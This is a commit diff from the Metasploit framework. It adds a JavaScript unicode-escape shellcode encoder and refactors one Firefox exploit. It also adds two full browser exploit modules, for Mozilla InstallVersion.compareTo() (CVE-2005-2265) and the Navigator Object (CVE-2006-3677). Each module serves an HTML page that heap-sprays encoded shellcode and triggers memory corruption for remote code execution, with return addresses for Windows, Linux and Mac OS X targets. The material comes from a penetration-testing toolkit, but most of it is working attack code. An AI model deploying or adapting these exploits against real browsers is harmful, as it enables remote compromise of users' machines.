Fixed Rex::Arch.endian()
Added Rex::Text.to_unescape() Added two mozilla exploits Fixed firefox exploit to use new api git-svn-id: file:///home/svn/framework3/trunk@3784 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8cc12d1a3d
commit
e55cff59e1
|
@ -49,7 +49,7 @@ module Arch
|
|||
#
|
||||
# This routine reports the endianess of a given architecture
|
||||
#
|
||||
def self.endianr(arch, addr)
|
||||
def self.endian(arch)
|
||||
case arch
|
||||
when ARCH_X86
|
||||
return ENDIAN_LITTLE
|
||||
|
|
|
@ -112,6 +112,28 @@ module Text
|
|||
return str
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a unicode escaped string for Javascript
|
||||
#
|
||||
def self.to_unescape(data, endian=ENDIAN_LITTLE)
|
||||
data << "\x41" if (data.length % 2 != 0)
|
||||
dptr = 0
|
||||
buff = ''
|
||||
while (dptr < data.length)
|
||||
c1 = data[dptr]
|
||||
dptr += 1
|
||||
c2 = data[dptr]
|
||||
dptr += 1
|
||||
|
||||
if (endian == ENDIAN_LITTLE)
|
||||
buff << sprintf('%%u%.2x%.2x', c2, c1)
|
||||
else
|
||||
buff << sprintf('%%u%.2x%.2x', c1, c2)
|
||||
end
|
||||
end
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the hex version of the supplied string
|
||||
#
|
||||
|
|
|
@ -11,7 +11,7 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox location.QueryInterface() Code Execution (Mac OS X)',
|
||||
'Name' => 'Firefox location.QueryInterface() Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution vulnerability in the Mozilla
|
||||
Firefox browser. To reliably exploit this vulnerability, we need to fill
|
||||
|
@ -69,8 +69,8 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
|||
|
||||
def generate_html(payload)
|
||||
|
||||
enc_code = unescape_encode(payload.encoded)
|
||||
enc_nops = unescape_encode(make_nops(4))
|
||||
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
|
||||
|
||||
return %Q|
|
||||
<html>
|
||||
|
@ -111,24 +111,5 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
|||
|
|
||||
end
|
||||
|
||||
def unescape_encode(data)
|
||||
data << "\x41" if (data.length % 2 != 0)
|
||||
dptr = 0
|
||||
buff = ''
|
||||
while (dptr < data.length)
|
||||
c1 = data[dptr]
|
||||
dptr += 1
|
||||
c2 = data[dptr]
|
||||
dptr += 1
|
||||
|
||||
if (Rex::Arch.endian(target.arch) == ENDIAN_LITTLE)
|
||||
buff << sprintf('%%u%.2x%.2x', c2, c1)
|
||||
else
|
||||
buff << sprintf('%%u%.2x%.2x', c1, c2)
|
||||
end
|
||||
end
|
||||
return buff
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,164 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Multi::Browser::Mozilla_CompareTo < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution vulnerability in the Mozilla
|
||||
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
|
||||
module is a direct port of Aviv Raff's HTML PoC.
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
|
||||
'Version' => '$Revision: 3637 $',
|
||||
'References' =>
|
||||
[
|
||||
['BID', '14242'],
|
||||
['OSVDB', '17968'],
|
||||
['CVE', '2005-2265'],
|
||||
['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 400,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox < 1.0.5 Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],
|
||||
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2005'
|
||||
))
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html(payload)
|
||||
|
||||
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
|
||||
|
||||
spray_to = sprintf("0x%.8x", target['Addrs'][0])
|
||||
spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
|
||||
spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
|
||||
eax_address = sprintf("0x%.8x", target['Addrs'][3])
|
||||
|
||||
return %Q|
|
||||
<html>
|
||||
<head>
|
||||
<!--
|
||||
Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
|
||||
From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
|
||||
Greets: SkyLined, The Insider and shutdown
|
||||
-->
|
||||
<title>One second please...</title>
|
||||
<script language="javascript">
|
||||
|
||||
function BodyOnLoad()
|
||||
{
|
||||
location.href="javascript:void (new InstallVersion());";
|
||||
CrashAndBurn();
|
||||
};
|
||||
|
||||
// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
|
||||
function CrashAndBurn()
|
||||
{
|
||||
// Spray up to this address
|
||||
var heapSprayToAddress=#{spray_to};
|
||||
|
||||
// Payload - Just return..
|
||||
var payLoadCode=unescape("#{enc_code}");
|
||||
|
||||
// Size of the heap blocks
|
||||
var heapBlockSize=0x400000;
|
||||
|
||||
// Size of the payload in bytes
|
||||
var payLoadSize=payLoadCode.length * 2;
|
||||
|
||||
// Caluclate spray slides size
|
||||
var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header
|
||||
|
||||
// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
|
||||
var spraySlide1 = unescape("#{spray_slide1}");
|
||||
|
||||
spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);
|
||||
|
||||
var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C
|
||||
|
||||
spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);
|
||||
|
||||
var spraySlide3 = unescape("#{enc_nops}");
|
||||
spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);
|
||||
|
||||
// Spray the heap
|
||||
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
|
||||
//alert(spraySlide2.length); return;
|
||||
memory = new Array();
|
||||
for (i=0;i<heapBlocks;i++)
|
||||
{
|
||||
memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode:
|
||||
(i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
|
||||
}
|
||||
|
||||
// Set address to fake "pdata".
|
||||
var eaxAddress = #{eax_address};
|
||||
|
||||
// This was taken from shutdown's PoC in bugzilla
|
||||
// struct vtbl { void (*code)(void); };
|
||||
// struct data { struct vtbl *pvtbl; };
|
||||
//
|
||||
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
|
||||
// pdata->pvtbl->code(pdata);
|
||||
//
|
||||
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
|
||||
}
|
||||
|
||||
function getSpraySlide(spraySlide, spraySlideSize) {
|
||||
while (spraySlide.length*2<spraySlideSize)
|
||||
{
|
||||
spraySlide+=spraySlide;
|
||||
}
|
||||
spraySlide=spraySlide.substring(0,spraySlideSize/2);
|
||||
return spraySlide;
|
||||
}
|
||||
|
||||
// -->
|
||||
</script>
|
||||
</head>
|
||||
<body onload="BodyOnLoad()">
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,130 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution vulnerability in the Mozilla
|
||||
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
|
||||
requires the Java plugin to be installed.
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['hdm'],
|
||||
'Version' => '$Revision: 3637 $',
|
||||
'References' =>
|
||||
[
|
||||
['BID', '19192'],
|
||||
['OSVDB', '27559'],
|
||||
['CVE', '2006-3677'],
|
||||
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
|
||||
['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 1.5.0.4 Windows x86',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => 0x08000800,
|
||||
'Fill' => "%u0800",
|
||||
}
|
||||
],
|
||||
[ 'Firefox 1.5.0.4 Linux x86',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => -0x58000000,
|
||||
'Fill' => "%ua8a8",
|
||||
}
|
||||
],
|
||||
[ 'Firefox 1.5.0.4 Mac OS X PPC',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Ret' => 0x0c000000,
|
||||
'Fill' => "%u0c0c",
|
||||
}
|
||||
],
|
||||
[ 'Firefox 1.5.0.4 Mac OS X x86',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Ret' => 0x1c000000,
|
||||
'Fill' => "%u1c1c",
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Jul 25 2006'
|
||||
))
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html(payload)
|
||||
|
||||
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
return %Q|
|
||||
<html><head>
|
||||
<script>
|
||||
function Exploit() {
|
||||
|
||||
var shellcode = unescape("#{enc_code}");
|
||||
var b = unescape("#{target['Fill']}");
|
||||
while (b.length <= 0x400000) b+=b;
|
||||
|
||||
var c = new Array();
|
||||
for (var i =0; i<36; i++) {
|
||||
c[i] =
|
||||
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
||||
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
||||
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
||||
b.substring(0, 0x100000 - shellcode.length) + shellcode;
|
||||
}
|
||||
|
||||
|
||||
if (window.navigator.javaEnabled) {
|
||||
window.navigator = (#{target['Ret']} / 2);
|
||||
try {
|
||||
java.lang.reflect.Runtime.newInstance(
|
||||
java.lang.Class.forName("java.lang.Runtime"), 0
|
||||
);
|
||||
alert('Patched!');
|
||||
}catch(e){
|
||||
alert('No Java plugin installed!');
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</head><body onload='Exploit()'>Please wait...</body></html>
|
||||
|
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue